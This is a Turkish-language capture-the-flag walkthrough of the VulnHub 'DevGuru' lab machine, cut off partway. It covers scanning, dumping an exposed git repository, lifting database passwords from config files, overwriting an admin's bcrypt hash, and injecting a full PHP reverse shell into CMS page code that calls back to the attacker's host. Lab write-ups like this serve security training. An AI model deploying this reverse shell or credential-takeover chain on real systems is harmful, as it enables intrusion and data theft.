Makine Hakkında Bilgiler
Açıklama:
DevGuru is a fictional web development company hiring you for a pentest assessment. You have been tasked with finding vulnerabilities on their corporate website and obtaining root.
OSCP like ~ Real life based
Difficulty: Intermediate (Depends on experience)
Vulnhub Sayfası:
https://www.vulnhub.com/entry/devguru-1,620/
İndirme Sayfası:
https://download.vulnhub.com/devguru/devguru.ova.7z
Walkthrough
Makineyi tespit ederek başlayalım.
┌──(root💀kali)-[~]
└─# ifconfig eth0 1 ⨯
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.0.2.17 netmask 255.255.255.0 broadcast 10.0.2.255
inet6 fe80::a00:27ff:fe8b:5efb prefixlen 64 scopeid 0x20<link>
ether 08:00:27:8b:5e:fb txqueuelen 1000 (Ethernet)
RX packets 2 bytes 650 (650.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 13 bytes 1266 (1.2 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
┌──(root💀kali)-[~]
└─#
┌──(root💀kali)-[~]
└─# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 08:00:27:8b:5e:fb, IPv4: 10.0.2.17
Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan)
10.0.2.3 08:00:27:d6:41:76 PCS Systemtechnik GmbH
10.0.2.18 08:00:27:6a:c8:77 PCS Systemtechnik GmbH
2 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.7: 256 hosts scanned in 2.206 seconds (116.05 hosts/sec). 2 responded
Not: Makine bir ara çöktü bundan dolayı yeniden yüklemem gerekti, çözümün ilerleyen kısımlarında 10.0.2.18 ip'si yerine 10.0.2.19 ip'si ile devam etmektedir. İkiside aynı hedef makinadır.
nmap taraması ile devam edelim.
[*] Scan: 228
Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-29 19:04 EDT
Nmap scan report for devguru.local (10.0.2.19)
Host is up (0.00070s latency).
Not shown: 65531 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 2a:46:e8:2b:01:ff:57:58:7a:5f:25:a4:d6:f2:89:8e (RSA)
| 256 08:79:93:9c:e3:b4:a4:be:80:ad:61:9d:d3:88:d2:84 (ECDSA)
|_ 256 9c:f9:88:d4:33:77:06:4e:d9:7c:39:17:3e:07:9c:bd (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
| http-git:
| 10.0.2.19:80/.git/
| Git repository found!
| Repository description: Unnamed repository; edit this file 'description' to name the...
| Last commit message: first commit
| Remotes:
| http://devguru.local:8585/frank/devguru-website.git
|_ Project type: PHP application (guessed from .gitignore)
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Exception
8081/tcp open blackice-icecap?
| fingerprint-strings:
| FourOhFourRequest, GetRequest, HTTPOptions:
| HTTP/1.0 404 Not Found
| Date: Wed, 30 Jun 2021 02:04:14 GMT
| Content-Length: 19
| Content-Type: text/plain; charset=utf-8
| 404: Page Not Found
| GenericLines, Help, Kerberos, RTSPRequest, SIPOptions, SSLSessionReq, TLSSessionReq, TerminalServerCookie, WWWOFFLEctrlstat:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
|_ Request
8585/tcp open unknown
| fingerprint-strings:
| GenericLines:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 200 OK
| Content-Type: text/html; charset=UTF-8
| Set-Cookie: lang=en-US; Path=/; Max-Age=2147483647
| Set-Cookie: i_like_gitea=10b87eb50e13d5d3; Path=/; HttpOnly
| Set-Cookie: _csrf=3HqcWHr72cPJbOdSVzVAX9ZRSNY6MTYyNTAxODY1NDA2OTE1NTU3Nw; Path=/; Expires=Thu, 01 Jul 2021 02:04:14 GMT; HttpOnly
| X-Frame-Options: SAMEORIGIN
| Date: Wed, 30 Jun 2021 02:04:14 GMT
| <!DOCTYPE html>
| <html lang="en-US" class="theme-">
| <head data-suburl="">
| <meta charset="utf-8">
| <meta name="viewport" content="width=device-width, initial-scale=1">
| <meta http-equiv="x-ua-compatible" content="ie=edge">
| <title> Gitea: Git with a cup of tea </title>
| <link rel="manifest" href="/manifest.json" crossorigin="use-credentials">
| <meta name="theme-color" content="#6cc644">
| <meta name="author" content="Gitea - Git with a cup of tea" />
| <meta name="description" content="Gitea (Git with a cup of tea) is a painless
| HTTPOptions:
| HTTP/1.0 404 Not Found
| Content-Type: text/html; charset=UTF-8
| Set-Cookie: lang=en-US; Path=/; Max-Age=2147483647
| Set-Cookie: i_like_gitea=b0895182a67ffeee; Path=/; HttpOnly
| Set-Cookie: _csrf=wwDFu2OKBCtU3aM4lw9EU41iAmE6MTYyNTAxODY1NDA5MjczNzA4OQ; Path=/; Expires=Thu, 01 Jul 2021 02:04:14 GMT; HttpOnly
| X-Frame-Options: SAMEORIGIN
| Date: Wed, 30 Jun 2021 02:04:14 GMT
| <!DOCTYPE html>
| <html lang="en-US" class="theme-">
| <head data-suburl="">
| <meta charset="utf-8">
| <meta name="viewport" content="width=device-width, initial-scale=1">
| <meta http-equiv="x-ua-compatible" content="ie=edge">
| <title>Page Not Found - Gitea: Git with a cup of tea </title>
| <link rel="manifest" href="/manifest.json" crossorigin="use-credentials">
| <meta name="theme-color" content="#6cc644">
| <meta name="author" content="Gitea - Git with a cup of tea" />
|_ <meta name="description" content="Gitea (Git with a c
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port8081-TCP:V=7.91%I=7%D=6/29%Time=60DBA6EF%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,8F,"HTTP/1\.0\x20404\x20Not\x20Found\r\nDate:\x20Wed,\x2030\x2
SF:0Jun\x202021\x2002:04:14\x20GMT\r\nContent-Length:\x2019\r\nContent-Typ
SF:e:\x20text/plain;\x20charset=utf-8\r\n\r\n404:\x20Page\x20Not\x20Found"
SF:)%r(FourOhFourRequest,8F,"HTTP/1\.0\x20404\x20Not\x20Found\r\nDate:\x20
SF:Wed,\x2030\x20Jun\x202021\x2002:04:14\x20GMT\r\nContent-Length:\x2019\r
SF:\nContent-Type:\x20text/plain;\x20charset=utf-8\r\n\r\n404:\x20Page\x20
SF:Not\x20Found")%r(SIPOptions,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nC
SF:ontent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\
SF:n\r\n400\x20Bad\x20Request")%r(WWWOFFLEctrlstat,67,"HTTP/1\.1\x20400\x2
SF:0Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nCon
SF:nection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(GenericLines,67,"HTT
SF:P/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20char
SF:set=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(HTTP
SF:Options,8F,"HTTP/1\.0\x20404\x20Not\x20Found\r\nDate:\x20Wed,\x2030\x20
SF:Jun\x202021\x2002:04:14\x20GMT\r\nContent-Length:\x2019\r\nContent-Type
SF::\x20text/plain;\x20charset=utf-8\r\n\r\n404:\x20Page\x20Not\x20Found")
SF:%r(RTSPRequest,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\
SF:x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20B
SF:ad\x20Request")%r(Help,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConten
SF:t-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n
SF:400\x20Bad\x20Request")%r(SSLSessionReq,67,"HTTP/1\.1\x20400\x20Bad\x20
SF:Request\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:
SF:\x20close\r\n\r\n400\x20Bad\x20Request")%r(TerminalServerCookie,67,"HTT
SF:P/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20char
SF:set=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(TLSS
SF:essionReq,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20te
SF:xt/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x2
SF:0Request")%r(Kerberos,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent
SF:-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n4
SF:00\x20Bad\x20Request");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port8585-TCP:V=7.91%I=7%D=6/29%Time=60DBA6EF%P=x86_64-pc-linux-gnu%r(Ge
SF:nericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20t
SF:ext/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x
SF:20Request")%r(GetRequest,2A00,"HTTP/1\.0\x20200\x20OK\r\nContent-Type:\
SF:x20text/html;\x20charset=UTF-8\r\nSet-Cookie:\x20lang=en-US;\x20Path=/;
SF:\x20Max-Age=2147483647\r\nSet-Cookie:\x20i_like_gitea=10b87eb50e13d5d3;
SF:\x20Path=/;\x20HttpOnly\r\nSet-Cookie:\x20_csrf=3HqcWHr72cPJbOdSVzVAX9Z
SF:RSNY6MTYyNTAxODY1NDA2OTE1NTU3Nw;\x20Path=/;\x20Expires=Thu,\x2001\x20Ju
SF:l\x202021\x2002:04:14\x20GMT;\x20HttpOnly\r\nX-Frame-Options:\x20SAMEOR
SF:IGIN\r\nDate:\x20Wed,\x2030\x20Jun\x202021\x2002:04:14\x20GMT\r\n\r\n<!
SF:DOCTYPE\x20html>\n<html\x20lang=\"en-US\"\x20class=\"theme-\">\n<head\x
SF:20data-suburl=\"\">\n\t<meta\x20charset=\"utf-8\">\n\t<meta\x20name=\"v
SF:iewport\"\x20content=\"width=device-width,\x20initial-scale=1\">\n\t<me
SF:ta\x20http-equiv=\"x-ua-compatible\"\x20content=\"ie=edge\">\n\t<title>
SF:\x20Gitea:\x20Git\x20with\x20a\x20cup\x20of\x20tea\x20</title>\n\t<link
SF:\x20rel=\"manifest\"\x20href=\"/manifest\.json\"\x20crossorigin=\"use-c
SF:redentials\">\n\t<meta\x20name=\"theme-color\"\x20content=\"#6cc644\">\
SF:n\t<meta\x20name=\"author\"\x20content=\"Gitea\x20-\x20Git\x20with\x20a
SF:\x20cup\x20of\x20tea\"\x20/>\n\t<meta\x20name=\"description\"\x20conten
SF:t=\"Gitea\x20\(Git\x20with\x20a\x20cup\x20of\x20tea\)\x20is\x20a\x20pai
SF:nless")%r(HTTPOptions,212A,"HTTP/1\.0\x20404\x20Not\x20Found\r\nContent
SF:-Type:\x20text/html;\x20charset=UTF-8\r\nSet-Cookie:\x20lang=en-US;\x20
SF:Path=/;\x20Max-Age=2147483647\r\nSet-Cookie:\x20i_like_gitea=b0895182a6
SF:7ffeee;\x20Path=/;\x20HttpOnly\r\nSet-Cookie:\x20_csrf=wwDFu2OKBCtU3aM4
SF:lw9EU41iAmE6MTYyNTAxODY1NDA5MjczNzA4OQ;\x20Path=/;\x20Expires=Thu,\x200
SF:1\x20Jul\x202021\x2002:04:14\x20GMT;\x20HttpOnly\r\nX-Frame-Options:\x2
SF:0SAMEORIGIN\r\nDate:\x20Wed,\x2030\x20Jun\x202021\x2002:04:14\x20GMT\r\
SF:n\r\n<!DOCTYPE\x20html>\n<html\x20lang=\"en-US\"\x20class=\"theme-\">\n
SF:<head\x20data-suburl=\"\">\n\t<meta\x20charset=\"utf-8\">\n\t<meta\x20n
SF:ame=\"viewport\"\x20content=\"width=device-width,\x20initial-scale=1\">
SF:\n\t<meta\x20http-equiv=\"x-ua-compatible\"\x20content=\"ie=edge\">\n\t
SF:<title>Page\x20Not\x20Found\x20-\x20\x20Gitea:\x20Git\x20with\x20a\x20c
SF:up\x20of\x20tea\x20</title>\n\t<link\x20rel=\"manifest\"\x20href=\"/man
SF:ifest\.json\"\x20crossorigin=\"use-credentials\">\n\t<meta\x20name=\"th
SF:eme-color\"\x20content=\"#6cc644\">\n\t<meta\x20name=\"author\"\x20cont
SF:ent=\"Gitea\x20-\x20Git\x20with\x20a\x20cup\x20of\x20tea\"\x20/>\n\t<me
SF:ta\x20name=\"description\"\x20content=\"Gitea\x20\(Git\x20with\x20a\x20
SF:c");
MAC Address: 08:00:27:03:DB:0D (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 0.70 ms devguru.local (10.0.2.19)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 91.86 seconds
Not: Makineyi çözdükten sonra yazdığımdan dolayı bu nmap taramasındaki 8081 portu sizde çıkmayacaktır. Makineye bağlandıktan sonra localdeki bir portu dışarıya 8081 olarak açtım. (işimede yaramadı!)
2 adet web sunucumuz var. Nmap çıktısında git bulduğunu söylüyor. Bu ilginç olabilir. gobuster taramalarını başlattıktan sonra git kısmına odaklandım.
──(root💀kali)-[~]
└─# gobuster dir --url http://10.0.2.18:8585/ --follow-redirect --status-codes-blacklist "404" --no-error --threads 50 --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,sql,zip,bak,sql,txt,php5,py,rar,7z,log --expanded --add-slash
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.0.2.18:8585/
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Extensions: html,zip,py,log,php5,rar,7z,php,sql,bak,txt
[+] Add Slash: true
[+] Follow Redirect: true
[+] Expanded: true
[+] Timeout: 10s
===============================================================
2021/06/29 14:28:07 Starting gobuster in directory enumeration mode
===============================================================
http://10.0.2.18:8585/admin/ (Status: 200) [Size: 9604]
http://10.0.2.18:8585/issues/ (Status: 200) [Size: 9604]
http://10.0.2.18:8585/explore/ (Status: 200) [Size: 10521]
http://10.0.2.18:8585/debug/ (Status: 200) [Size: 160]
http://10.0.2.18:8585/milestones/ (Status: 200) [Size: 9605]
http://10.0.2.18:8585/notifications/ (Status: 200) [Size: 9604]
http://10.0.2.18:8585/frank/ (Status: 200) [Size: 11329]
http://10.0.2.18:8585/Frank/ (Status: 200) [Size: 11329]
http://10.0.2.18:8585/healthcheck/ (Status: 200) [Size: 26]
===============================================================
2021/06/29 15:59:10 Finished
===============================================================
┌──(root💀kali)-[~]
└─# gobuster dir --url http://10.0.2.18/ --follow-redirect --status-codes-blacklist "404" --no-error --threads 50 --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,sql,zip,bak,sql,txt,php5,py,rar,7z,log --expanded --add-slash
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.0.2.18/
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Extensions: rar,html,sql,zip,txt,7z,log,php,bak,php5,py
[+] Add Slash: true
[+] Follow Redirect: true
[+] Expanded: true
[+] Timeout: 10s
===============================================================
2021/06/29 14:30:36 Starting gobuster in directory enumeration mode
===============================================================
http://10.0.2.18/index.php (Status: 200) [Size: 12699]
http://10.0.2.18/about/ (Status: 200) [Size: 18641]
http://10.0.2.18/icons/ (Status: 403) [Size: 274]
http://10.0.2.18/services/ (Status: 200) [Size: 10008]
http://10.0.2.18/0/ (Status: 200) [Size: 12649]
http://10.0.2.18/server.php (Status: 200) [Size: 0]
http://10.0.2.18/About/ (Status: 200) [Size: 18641]
http://10.0.2.18/backend/ (Status: 200) [Size: 6220]
http://10.0.2.18/Services/ (Status: 200) [Size: 10008]
Progress: 311880 / 2646792 (11.78%) ^C
[!] Keyboard interrupt detected, terminating.
===============================================================
2021/06/29 16:22:44 Finished
===============================================================
8585'te çalışan bir gitea isimli proje var. Sanırım bir git projesine odaklanacağız. 8585 ise bunun kontrolü için bir web arayüzü olabilir. 8585'te gezerken bir kullanıcı hesabı gördüm ve sayfasına gittiğimde 3 adet commitinide gördüm. Ancak giriş yapamadığımız için commit'leri tabikide göremiyorum. Makine sanki bu kullanıcıya giriş yapmaya beni zorlayacak gibi. Bunun için bir hydra ile saldırı başlattım. Rockyou'yu verdim ancak kıramadı.
80'deki site nedendir bilmiyorum çok yavaş çalışıyor. git_dumper ile projeyi almaya başladım.
┌──(root💀kali)-[~/git-dumper/devguru]
└─# ./git_dumper.py http://10.0.2.18/.git devguru -t 60
...
...
[-] Fetching http://10.0.2.18/.git/objects/8f/dbdd801182d71e58cdb343a9346dbb9e748b0a [200]
[-] Fetching http://10.0.2.18/.git/objects/57/64f248d83c1a762d62826e6f7f4b4c1d3be5a8 [200]
[-] Fetching http://10.0.2.18/.git/objects/3d/b6373b1ae15d1fb17d4cff7d917fa80fd5f6c8 [200]
[-] Fetching http://10.0.2.18/.git/objects/bf/e30338ca328da9952d76c0f4a0f3df324bae2a [200]
[-] Fetching http://10.0.2.18/.git/objects/ea/20d8617d83062042bfc0258525cd5d0da4cc52 [200]
[-] Fetching http://10.0.2.18/.git/objects/19/7c50c3c5aa0266d1fa828b830772d849d2c410 [200]
[-] Fetching http://10.0.2.18/.git/objects/c2/27144421d6829a9f0e79eee3692106befa9f0a [200]
[-] Fetching http://10.0.2.18/.git/objects/a5/a17286a54f54fa8bd0100755849810556abe20 [200]
[-] Fetching http://10.0.2.18/.git/objects/19/4fa3c5f965e20699c0b5a83158728981b413f4 [200]
[-] Fetching http://10.0.2.18/.git/objects/3d/e2cb7b27fb4d8e4ebf6781e7980a0d9b9b4e77 [200]
[-] Fetching http://10.0.2.18/.git/objects/d5/0c8eefeb9ca5a119fb47a255703b3f12fd268e [200]
[-] Fetching http://10.0.2.18/.git/objects/20/315b9619d9abbae7ed97334ea3cb21f57de13f [200]
[-] Fetching http://10.0.2.18/.git/objects/c2/58ff5106d2c6dfbee4a6994adb44b6381c0727 [200]
[-] Fetching http://10.0.2.18/.git/objects/1c/6c20e08663409383e3cca053901a490bb3ff6c [200]
[-] Fetching http://10.0.2.18/.git/objects/0e/c10b1cc6509f1a8830caa099777cdb5238c8bb [200]
[-] Fetching http://10.0.2.18/.git/objects/f4/97215bddc1c889d6cb7afed19c0110d208cb62 [200]
[-] Fetching http://10.0.2.18/.git/objects/98/44b753317ac6d45e3f6a5196f0d32b5d1a1307 [200]
[-] Fetching http://10.0.2.18/.git/objects/8e/e843060aeeb85724a4f7e8dbc6f3bd46191deb [200]
[-] Fetching http://10.0.2.18/.git/objects/02/8619a885bf8c4cf22449503f7adcc2f0c2ace3 [200]
[-] Fetching http://10.0.2.18/.git/objects/a2/c407f8e3ab2606568c55727b451a6c583a3989 [200]
[-] Fetching http://10.0.2.18/.git/objects/18/40f6556fcb958cb2ae424da1bb5de3f740d491 [200]
[-] Fetching http://10.0.2.18/.git/objects/67/1701188cacf7680a281380f983f5243112f86f [200]
[-] Running git checkout .
İçinde gezindikten sonra bir mysql connection string yakaladım.
┌──(root💀kali)-[~/git-dumper/devguru/config]
└─# cat database.php
<?php
return [
/*
|--------------------------------------------------------------------------
| PDO Fetch Style
|--------------------------------------------------------------------------
|
| By default, database results will be returned as instances of the PHP
| stdClass object; however, you may desire to retrieve records in an
| array format for simplicity. Here you can tweak the fetch style.
|
*/
'fetch' => PDO::FETCH_CLASS,
/*
|--------------------------------------------------------------------------
| Default Database Connection Name
|--------------------------------------------------------------------------
|
| Here you may specify which of the database connections below you wish
| to use as your default connection for all database work. Of course
| you may use many connections at once using the Database library.
|
*/
'default' => 'mysql',
/*
|--------------------------------------------------------------------------
| Database Connections
|--------------------------------------------------------------------------
|
| Here are each of the database connections setup for your application.
| Of course, examples of configuring each database platform that is
| supported by Laravel is shown below to make development simple.
|
|
| All database work in Laravel is done through the PHP PDO facilities
| so make sure you have the driver for your particular database of
| choice installed on your machine before you begin development.
|
*/
'connections' => [
'sqlite' => [
'driver' => 'sqlite',
'database' => 'storage/database.sqlite',
'prefix' => '',
],
'mysql' => [
'driver' => 'mysql',
'engine' => 'InnoDB',
'host' => 'localhost',
'port' => 3306,
'database' => 'octoberdb',
'username' => 'october',
'password' => 'SQ66EBYx4GT3byXH',
'charset' => 'utf8mb4',
'collation' => 'utf8mb4_unicode_ci',
'prefix' => '',
'varcharmax' => 191,
],
Elimizde bir adet kullanıcı hesabı var.
october:SQ66EBYx4GT3byXH
İçeride mysql'in çalıştığı belli ve gobuster'ın bulamadığı ancak git projesinin içinde bulduğum http://10.0.2.18/adminer.php adresine gittiğimizde bizi phpmyadmin vari bir sayfa karşılıyor. Bu sayfaya elde ettiğim kullanıcılarla giriş yaptım.
──(root💀kali)-[~/git-dumper/devguru]
└─# ls -al
total 476
drwxr-xr-x 10 root root 4096 Jun 29 18:46 .
drwxr-xr-x 5 root root 4096 Jun 29 18:18 ..
-rw-r--r-- 1 root root 362514 Jun 29 15:34 adminer.php
-rw-r--r-- 1 root root 56688 Jun 29 2021 app.ini.bak
-rw-r--r-- 1 root root 1640 Jun 29 15:34 artisan
drwxr-xr-x 2 root root 4096 Jun 29 15:34 bootstrap
drwxr-xr-x 2 root root 4096 Jun 29 15:34 config
drwxr-xr-x 9 root root 4096 Jun 29 18:46 devguru-website
drwxr-xr-x 7 root root 4096 Jun 29 15:57 .git
-rw-r--r-- 1 root root 413 Jun 29 15:34 .gitignore
-rw-r--r-- 1 root root 1678 Jun 29 15:34 .htaccess
-rw-r--r-- 1 root root 1173 Jun 29 15:34 index.php
drwxr-xr-x 5 root root 4096 Jun 29 15:34 modules
drwxr-xr-x 3 root root 4096 Jun 29 15:34 plugins
-rw-r--r-- 1 root root 1518 Jun 29 15:34 README.md
-rw-r--r-- 1 root root 551 Jun 29 15:34 server.php
drwxr-xr-x 6 root root 4096 Jun 29 15:34 storage
drwxr-xr-x 4 root root 4096 Jun 29 15:34 themes
Elde ettiğim kullanıcıyla giriş yaptım.
Not: Anlatımlarımda fotoğraf kullanmadığım için açıklamalarımı dikkatli okumanızı tavsiye ediyorum. Çünkü işler biraz karışacak...
İçeri girdiğimde octaberdb'yi gördüm. Burdan hemen db'nin içine girip users ile başlayan tablo aradım. backend_users tablosunu buldum. Ancak parolalar hashlenmişti. Frank kullanıcısının hash'ini aldım ve internette aradım. Kıramadım ancak formatını buldum. https://www.tunnelsup.com/hash-analyzer/ adresinden $2y$10$bp5wBfbAN6lMYT27pJMomOGutDF2RKZKYZITAupZ3x8eAaYgN6EKK hash'ini sorguladığınızda size bcrypt formatında olduğunu söylüyor. Bende kendim bir bcrypt formatında hash üretip, kullanıcının parolası ile değiştirmeye karar verdim. https://www.browserling.com/tools/bcrypt adresinden kuday değerina sahip round'u 10 olan bir hash ürettim.
gobuster çıktılarında http://10.0.2.18/backend/ sayfası tespit edilmişti. Burada şifremi unuttum dediğimde frank kullanıcısı ile işlem yaparsam, frank'ın gerçekten bir kullanıcı olduğunu anlayabiliyordum. Sayfaya gidip frank:kuday kullanıcı adı ve parolası ile giriş yaptım. Harika!
Bir CMS ile karşı karşıyayız. Sayfaların kaynak kodlarına baktığımda Blog Articles sayfasında editör kısmında aşağıdaki php kodunu gördüm.
function onStart()
{
$this['bannerImage'] = $this->themeUrl('assets/images/blog-banner.jpg');
}
Bu harika çünkü artık reverse alabiliriz. Pentest Monkey'den php reversüüz var ancak bazı hatalarla karşılaştım bende fonksiyon içinde fonksiyon tanımlayamayacağıma göre(ki aslında tabiki tanımlanımlanırda konu dışı geçiyorum...) reverse shell kodumu biraz düzenledim ve Home sayfasına aşağıdaki gibi ekledim.
function onStart()
{
set_time_limit (0);
$VERSION = "1.0";
$ip = '10.0.2.17'; // CHANGE THIS
$port = 1822; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
//
// Daemonise ourself if possible to avoid zombies later
//
// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies. Worth a try...
if (function_exists('pcntl_fork')) {
// Fork and have the parent process exit
$pid = pcntl_fork();
if ($pid == -1) {
// printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0); // Parent exits
}
// Make the current process a session leader
// Will only succeed if we forked
if (posix_setsid() == -1) {
// printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
// printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
// Change to a safe directory
chdir("/");
// Remove any umask we inherited
umask(0);
//
// Do the reverse shell...
//
// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
// Spawn shell process
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
// printit("ERROR: Can't spawn shell");
exit(1);
}
// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
//printit("Successfully opened reverse shell to $ip:$port");
while (1) {
// Check for end of TCP connection
if (feof($sock)) {
//printit("ERROR: Shell connection terminated");
break;
}
// Check for end of STDOUT
if (feof($pipes[1])) {
//printit("ERROR: Shell process terminated");
break;
}
// Wait until a command is end down $sock, or some
// command output is available on STDOUT or STDERR
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
// If we can read from the TCP socket, send
// data to process's STDIN
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
// If we can read from the process's STDOUT
// send data down tcp connection
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
// If we can read from the process's STDERR
// send data down tcp connection
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
}
// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
Bu işlem sonucunda dinleme noktamı açtım ve reverse aldım.
┌──(root💀kali)-[~/git-dumper/devguru]
└─# nc -lvp 1822 1 ⨯
listening on [any] 1822 ...
connect to [10.0.2.17] from devguru.local [10.0.2.19] 52832
Linux devguru.local 4.15.0-124-generic #127-Ubuntu SMP Fri Nov 6 10:54:43 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
21:28:51 up 3:01, 0 users, load average: 0.02, 0.06, 0.05
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
$ pwd
/
İçeride gezindiğimde bir sürü şey ile uğraştım bunların büyük bir çoğunluğu yararsız şey oldu. Herzaman yaptığım gibi lse.sh scriptini tmp'in altına attım ve çalıştırdım. İlgi çekici sonuçlar aşağıda.
[*] fst150 Looking for GIT/SVN repositories................................ yes!
---
/var/www/html/themes/business/.git
/var/www/html/.git
---
[!] fst160 Can we write to critical files?................................. nope
Yeni bir git projesi...
---
================================================================( network )=====
[*] net000 Services listening only on localhost............................ yes!
---
tcp LISTEN 0 80 127.0.0.1:3306 0.0.0.0:*
tcp LISTEN 0 128 127.0.0.1:33327 0.0.0.0:*
---
[!] net010 Can we sniff traffic with tcpdump?.............................. nope
Bana zaman kaybettiren bir kısım ve
------ frank ------
START PID USER COMMAND
18:27 644 frank /usr/local/bin/gitea web --config /etc/gitea/app.ini
---
[i] pro500 Running processes............................................... yes!
Asıl odaklanmamız gereken kısım... gitea projesi frank tarafından çalıştırılıyor. Gezinmelerim esnasında app.ini dosyasının /var/backup klasörü altında görmüştüm ve okuyabiliyordum. Dosyayı okuduğumda yeni bir mysql kullanıcı buldum. İşte dosyanın ilgili kısmı:
[database]
; Database to use. Either "mysql", "postgres", "mssql" or "sqlite3".
DB_TYPE = mysql
HOST = 127.0.0.1:3306
NAME = gitea
USER = gitea
; Use PASSWD = `your password` for quoting if you use special characters in the password.
PASSWD = UfFPTF8C8jjxVF2m
; For Postgres, schema to use if different from "public". The schema must exist beforehand,
; the user must have creation privileges on it, and the user search path must be set
; to the look into the schema first. e.g.:ALTER USER user SET SEARCH_PATH = schema_name,"$user",public;
SCHEMA =
; For Postgres, either "disable" (default), "require", or "verify-full"
--More--(41%)
